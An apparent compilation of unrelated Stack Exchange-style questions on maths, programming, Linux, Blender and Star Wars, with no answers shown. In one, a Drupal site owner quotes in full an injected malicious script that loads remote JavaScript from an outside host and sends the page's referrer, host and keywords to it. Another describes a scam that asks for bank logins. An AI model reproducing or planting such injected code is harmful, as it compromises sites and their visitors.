This is purely for interest.     So I received from my bank a randomly generated (?) login code which is a string of 9 numerical digits (0-9).    5 of these 9 digits were the same number  (but not in any particular order).  I am trying to work out the probability in any 9 digit  number of 5 of these digits being the same.   (and generalising this).  I have tried to work this out as I believe the answer to be of the form  $$\binom{9}{5}0.1^50.9^410$$  But my formula doesn't seem to work when I generalise this to the probability of getting say, 2 digits the same within the string of 9 - as then it give a nonsensical answer.  Am I going wrong somewhere?   I am more interested in understanding the theory rather than just the actual solution.


how can I auto mount windows partitions in ubuntu?

I am a Linux user for 20 years and I know how to automatically mount Windows partitions in LINUX. But I am trapped in Kubuntu that too on a Lenovo laptop. How can I auto mount windows partitions on Kubuntu?


"edit" link to edit your subscription to Favorite tags does not work

When I want to edit my subscription to "Favorite" tags, the small "edit" link under my email does nothing. I click on it and nothing happends. I've tried with Firefox and with Google Chrome and same thing. So at this point I am not able to change how frequently I get the emails. Relevant link for my user is:  And I get there when I click on "advanced tag subscription". UPDATE I have added an image since it seems is not clear what I am talking about:


Creating URL query parameters from NSDictionary objects in ObjectiveC

With all the URL-handling objects lying around in the standard Cocoa libraries (NSURL, NSMutableURL, NSMutableURLRequest, etc), I know I must be overlooking an easy way to programmatically compose a GET request.  Currently I'm manually appending "?" followed by name value pairs joined by "&", but all of my name and value pairs need to be manually encoded so NSMutableURLRequest doesn't fail entirely when it tries to connect to the URL.  This feels like something I should be able to use a pre-baked API for.... is there anything out of the box to append an NSDictionary of query parameters to an NSURL? Is there another way I should approach this?


@IsTest - How to get the RestContext.response from @HttpPost if the post method is not returning

I created a @HttpPost API end point called SampleAPI that doesn't return an object. Instead I am populating RestResponse like so:  @RestResource(urlMapping='/SampleAPI/*') global class SampleAPI{      @HttpPost     global static void verifyData() {          RestResponse response = RestContext.response;         response.statusCode = 200;         response.responseBody = Blob.valueOf('response body');     } }   In my test class I add the request body like so:  @IsTest static void TestBehavior() {     RestRequest request = new RestRequest();     RestResponse response = new RestResponse();     request.requestURI = '/services/apexrest/SampleAPI';     request.httpMethod = 'POST';     request.requestBody = Blob.valueof('test body');       RestContext.request = request;     RestContext.response = response;       SampleAPI api = new SampleAPI(); }   How can I get the response body in my test method? I tried RestContext.response but that comes back as [headers={}, responseBody=null, statusCode=null] when I am actually expecting the statusCode and responseBody to not be null.


What are the minimum root filesystem applications that are required to fully boot linux?

It's a question about user space applications, but hear me out!  Three "applications", so to speak, are required to boot a functional distribution of Linux:   Bootloader - For embedded typically that's U-Boot, although not a hard requirement. Kernel - That's pretty straightforward. Root Filesystem - Can't boot to a shell without it. Contains the filesystem the kernel boots to, and where init is called form.   My question is in regard to #3. If someone wanted to build an extremely minimal rootfs (for this question let's say no GUI, shell only), what files/programs are required to boot to a shell?


I have  to show that the class number of $K=\mathbb{Q}(\sqrt{17})  $ is $1$  .   First I know that $\sqrt{17}/2<3$ . Thus I only need to consider primes with norm $2$ . My problem is to show that these primes $a=(2,\sqrt{17}-1) ,b=(2,\sqrt{17}+1)$ are principal.  Thanks for the help .


iOS StackExchange app doesn't handle non-ASCII correctly

The iOS StackExchange app doesn't handle non-ASCII characters correctly, see city name in the screenshot below.


Who owns R2-D2 & C-3PO in the Prequel trilogy?

Is there any concrete evidence that Anakin officially owned R2-D2 or C-3PO?  I found this episode of Star Wars: Clone Wars that shows it, but it's fairly vague...


If you expand $(x_1+x_2+\cdots+x_k)^n$, how many terms will there be once you collect terms with equal monomials? What is the sum of all the coefficients?  I'm kind of lost here. This came up with other questions on the topic of binomial coefficients, and i have figured those out. I have spent almost an hour trying to figure where to start and haven't made any progress.


Determine if the following integral is convergent or divergent. If it is convergent find its value.

The next week I have a test over Improper Integrals and yesterday started to solve some problems that I've found on th Internet. Everything was fine until I stuck on this example:     Determine if the following integral is convergent or divergent.  If it is convergent find its value - $$\int^{\pi/2}_{0} \ln(\cos x)dx$$   Any ideas how to test the integral is convergent or divergent?


So I have a string:  var s = "foo\nbar\nbob";  I want the string to become:  "foo\\nbar\\nbob"  How can I replace every \n with a \\n?  I've tried using some for loops, but I can't figure it out.


Optional Android notifications for reputation changes

I would like to get a notification if my reputation count has changed. I think there is already some internal API for that. (I can see that changes in the menu bar in the top).  I'm sure that some people would not like that so that should be optional.


I can't figure out how to change this or what I clicked to cause it but the object completely disappears if it's not highlighted


I'm particularly interested in how the "Millennium" part pertains to the ship itself. It wouldn't hurt to explain the "Falcon" part either though.


Encryption of 7 byte of data, output must be 7 byte

I'm looking for a cryptographic algorithm that inputs and outputs are both 7 bytes. Is there any such algorithm?


Is it a scam if a Military commander from the army deposit money into my account then I send to an army female?

Is it a scam ?   Talking to a female person in the army, she was deported to Africa (which of course red flags came up). She told me her mother can't because she doesn't feel good so her commander is going to send money to my empty account which she wanted username, password, routing number, checking account number, and security question/answers.   She tells me it's not a scam and she has been scammed in the past on Facebook for winning 100,000 and then she deleted her account. What makes it even more weird is that every time I talk to her she mentions if the debit card will come in the mail. I have not spoken to her on the phone yet and she isn't allowed to speak unless she gets permission to use the phone from her commander.    Note: Supposedly she is In the Air Force she just got deported to Africa about a week ago.


Is there any tool which I can run on the PDFs archives (all directories) and finally it lists/identifies the corrupt/invalid PDFs? I have hundreds of PDF files (related to documentation etc.) on my computer (Windows machine), and very often I receive/have to send dozens of PDFs via email. It is now a normal routine that the PDF I receive or send is corrupted. This creates serious trouble sometimes, when the source file (e.g. Word file or the Tex file) is missing/not available instantly. Checking these thousands of PDFs is not possible in finite time, so I have searched for a tool which I can run once and it would scan all PDFs (in directories and sub-directories), and finally I would get a list of files which I should re-create. Up to now, it seems there is no such tool.


Let $G=\{x,y│x^4=y^4=e,xyxy^{-1}=e\}$     1.Show that $|G|\leq 16$.      2.Suppose that $|G|=16$           a.Find $Z(G)$.          b.Find a familiar group that is isomorphic to $G/〈y^2 〉$ and show that these are isomorphic.      I am having trouble with part 2b.  So far, I have  Assume $|G|=16$ then $|G|/<y^2> = 8$  => $|G|/<y^2> = |D_4|$  I'm not sure which direction to head in after this. Any feedback is appreciated.


I'm trying to set the environment variable HTTPS=true in macOS bash shell but it doesn't work when I printenv the variable HTTPS=true doesn't appear:  TERM_PROGRAM=Apple_Terminal SHELL=/bin/bash TERM=xterm-256color TMPDIR=/var/folders/kr/848p_nc116l4vvkbgkc_c1200000gn/T/ Apple_PubSub_Socket_Render=/private/tmp/com.apple.launchd.PkTkQaYUUc/Render TERM_PROGRAM_VERSION=421.1 TERM_SESSION_ID=44933CE9-8A15-40AD-A534-286602490A93 USER=rh SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.6RrPiiuDzY/Listeners PATH=/opt/local/bin:/opt/local/sbin:/Library/Frameworks/Python.framework/Versions/3.4/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin PWD=/Users/gerardo XPC_FLAGS=0x0 XPC_SERVICE_NAME=0 SHLVL=1 HOME=/Users/rh LOGNAME=rh LC_CTYPE=UTF-8 SECURITYSESSIONID=186a8 _=/usr/bin/printenv   to set the env variable I used the commands set HTTPS=true and HTTPS=true  I have 3 questions:   What's happening? How can I fix it? Which file I have to use in macOS to set the env variable as a permanent variable


Why does this query not permit me from doing a group by?

I want this to show me the most recent submitted record by ID, but I only want it for when the most recent is between these two dates.  It is not, however, allowing me to group.    select id, type, location_id, max(submitted)   from events   where type='status'    and max(submitted) between '2014-08-05' and '2014-08-22'  group by id


I am facing some serious issues with my drupal 7 site and i dont know how to solve it. For the past five weeks there is this particular script that is automatically injected into the html.tpl.php file.  I clear it every morning and in the next few hours its comes back again. As a result google has now marked my site as a threat.  Below is the script that i suppose is causing that problem.  <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://test.camoot.com/js/jquery.min.php?c_utt=SWR2D2&c_utm='+encodeURIComponent('http://test.camoot.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>   the url in this script changes each time i clear it. i even tried to put my url in that section but after some few hours den it changes it.   So my question today is how do i permanently clear this script and change my status on google.


Delete array items if repeats more then once, Php

I have an array and it has repeating items. So I trying to delete item if it repeats. For example:  $links:    string(35) "/mjr/semba-tower/outline/index.html"   [1]=>   string(38) "/mjr/mc-futsukaichi/outline/index.html"   [2]=>   string(31) "/mjr/chihaya/outline/index.html"   [3]=>   string(35) "/mjr/semba-tower/outline/index.html"   As you see 2 semba-towers in the array and I want to delete one of if.  I tried this, but output returns 0 item.  $output = [];         foreach(array_count_values($links) as $value => $count)         {             if($count == 1)             {                 $output[] = $value;             }         }          var_dump($output);    Any other way to fix this problem?


I saw this approximation for the factorial given by Ramanujan as $$\log(n!) \approx n \log n - n + \frac{\log(n(1+4n(1+2n)))}{6} + \frac{\log(\pi)}{2}$$ in , which claims the approximation is superior to Stirling's approximation. I tried to locate the reference but unfortunately I could not. I would appreciate if someone can throw light on how this asymptotic is obtained and the order of the error.


How can I plug my LPT printer into a motherboard with no parallel port?

I have a new computer with a Asus P5QL Pro motherboard and wanted to plug my old HP DeskJet 950C printer into it only to discover that the motherboard has no LPT/Parallel port.  What is the best solution for this?    is there a LPT-to-USB adapter? do I need to buy an LPT PCI board?


I am experiencing a lot of issues with the topology of a specific object I am modelling. Currently I have an issue with 'non-manifold vertices on it as shown by the screen shot below:    The mesh issue I have highlighted is found by operating Select>Select all by Trait>non-manifold and checking only the 'vertices' option in options menu as pictured in the bottom left of my screenshot.  I would specifically like to be able to identify what the tool Select all by Trait looks for when the 'vertices' option is selected, so I can better address my topology problem  I have read a fair bit about what can cause non-manifold geometry but simply non-manifold 'vertices' doesn't really mean a whole lot to me, can anyone shed any light  Here is the blend file:   N.B: I have recalculated internal and external normals as well as 'merged by distance' multiple times which doesn't seem to do anything


Increasing FTP Server download speed through multiple FTP Servers

I have developed a Freemium Software which can be downloaded. I host the download on an Ubuntu FTP Server; in which I rented a Virtual Private Server to do this.  My concern is the download speeds. If 100 people are downloading at once, connection will be slowed down.  Is there a way for me to setup multiple FTP servers  to host same file by setting up additional VPS? I can't seem to find anywhere in google how to set this up.  OR   Is there a smarter way to achieve faster download speed?


To be specific. I need to cast a string to an enum. I have tried Type.GetType() but it doesn't seem to work in Unity or I need some complex assembly code. I know of ways to cast a Type to a string but not a nice method the other way around. I am using Unity and C#. I have looked at many answers here with no avail.  Side note : This wont be needed to answer if someone knows how to use an enum as as parameter. Again I scoured google but only found code that picks apart enums to send them or the answer no. Any light on this would be great also.  eg. Load(enumType);